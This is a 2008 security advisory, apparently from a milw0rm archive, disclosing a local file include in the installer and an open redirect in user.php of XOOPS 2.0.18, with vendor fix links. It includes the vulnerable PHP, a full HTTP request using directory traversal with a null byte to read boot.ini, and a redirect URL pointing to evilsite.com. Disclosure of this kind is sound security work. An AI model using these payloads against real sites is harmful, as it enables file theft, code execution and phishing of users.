Digital Security Research Group [DSecRG] Advisory #DSECRG-08-009
Application: XOOPS
Versions Affected: XOOPS 2.0.18
Vendor URL: http://www.xoops.org/
Bugs: Local File Include,URL Redirecting phishing
Exploits: YES
Reported: 28.01.2008
Vendor response: 28.01.2008
Date of Public Advisory: 04.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
XOOPS system has multiple security vulnerabilities:
1. Local File Include
2. Url redirection Phishing
Details
*******
1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges
vulnerable script htdocs/install/index.php vulnerable POST parameter lang
vulnerable code:
************************************************
$language = 'english';
if ( !empty($_POST['lang']) ) {
$language = $_POST['lang'];
.
.
.
.
if ( file_exists("./language/".$language."/install.php") ) {
include_once "./language/".$language."/install.php";
************************************************
Example:
POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php
lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next
---------------------------------------------------------------------
2. URL Redirection phishing
Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect"
Example:
http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com
Fix Information
***************
Vendor fix this flaw in svn on 28.10.2007.
http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282
Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
# milw0rm.com [2008-02-04]
